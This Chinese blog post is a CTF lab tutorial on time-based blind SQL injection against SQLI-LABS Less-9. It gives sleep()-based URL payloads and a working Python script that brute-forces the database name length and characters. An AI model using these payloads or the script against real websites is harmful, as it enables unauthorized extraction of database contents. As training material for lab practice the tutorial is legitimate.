SQL注入-GET型-单参数-时间型盲注

1、概要
现在的CTF竞赛,WEB类型的题目,SQL注入可以说是必考题,而且,现在的SQL注入题目越来越难了,各种过滤,所以我们的SQL注入神器SQLMAP基本上可以说是没用了,必须要我们自己写脚本和payload进行手工注入,本篇文章以GET型-单参数-时间型盲注为例,总结一下这类题型的做题方法,不喜勿喷。

2、审题
拿到SQL注入的题目,首先要审题,并结合提示看是考察union select注入、报错注入、盲注还是堆叠注入,难题一般都是考察盲注。判断存在什么类型的注入不难,属于基础内容,这里不进一步去展开,感兴趣的可以去刷一刷SQLI-LABS。

3、实例说明
这里还是以SQLI-LABS-less9为例,当然这题比较简单,没有过滤,用SQLMAP也能跑出来,我们不用SQLMAP去跑,这里主要是拿这题介绍如何自己写python脚本进行注入的思路。

1)首先我们还是要手工先构造一个payload出来,确认确实是时间型盲注,payload如下:

获取库长的payload:

http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/?id=1' and if(length(database())=8,sleep(1),1)--+

获取库名的payload:

http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(1),1)--+

发现确实存在时间型盲注。

2)根据payload的结构来写脚本,当然这里的代码的主要body结构是参照其他大佬的逻辑写的:

#encoding=utf-8

#时间盲注脚本-以SQLI-LABS less-9为例

import requests

import time

import datetime
#获取数据库长度
def database_len():
   
    #存放跑出的结果
    length=0
    database=''
    print ("start get length...")

    for l in range(1,15):

        startTime1=time.time()

        url1 = "http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/?id=1' and if(length(database())=%d,sleep(1),1)--+"%(l)

        response1 = requests.get(url1)

        if time.time() - startTime1 > 1:

            length+=l

    print ("the length :" , str(length))

       # break

    print ("start database sql injection...")
database_len()
#获取数据库名
def database_name():
    name = ''
    for j in range(1, 15):           #根据数据库名长度自行修改15这个数值
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = '''http://52fd88b7078b4e18836e596d270fa58a.app.mituan.zone/Less-9/'''
            payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(2),1)--+''' % (
                j, i)
            # print(url+payload+'%23')
            time1 = datetime.datetime.now()
            r = requests.get(url + payload + '%23')
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 2:
                name += i
                print(name)
                break
    print('database_name:', name)


database_name()

4.代码逻辑说明:

1)时间型盲注需要有一个循环,依据时间差是否为sleep函数设定的值来判断跑出来的字符是否正确,如:

if time.time() - startTime1 > 1:

    length+=l

2)payload中有两个变量是需要控制的,分别是j和i,j对应%d的值,i对应%s的值,通过遍历的方式逐个去确定数据库名中的每一个字符;

3)最后总结一下代码的主体结构:
a.首先是基于python爬虫,利用requests不断发包,利用payload进行注入;
b.通过循环去遍历字符串,从而确认库名。
觉得有帮助给点个赞,顺便关注一下,谢谢啦,您的鼓励是我更新的动力。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值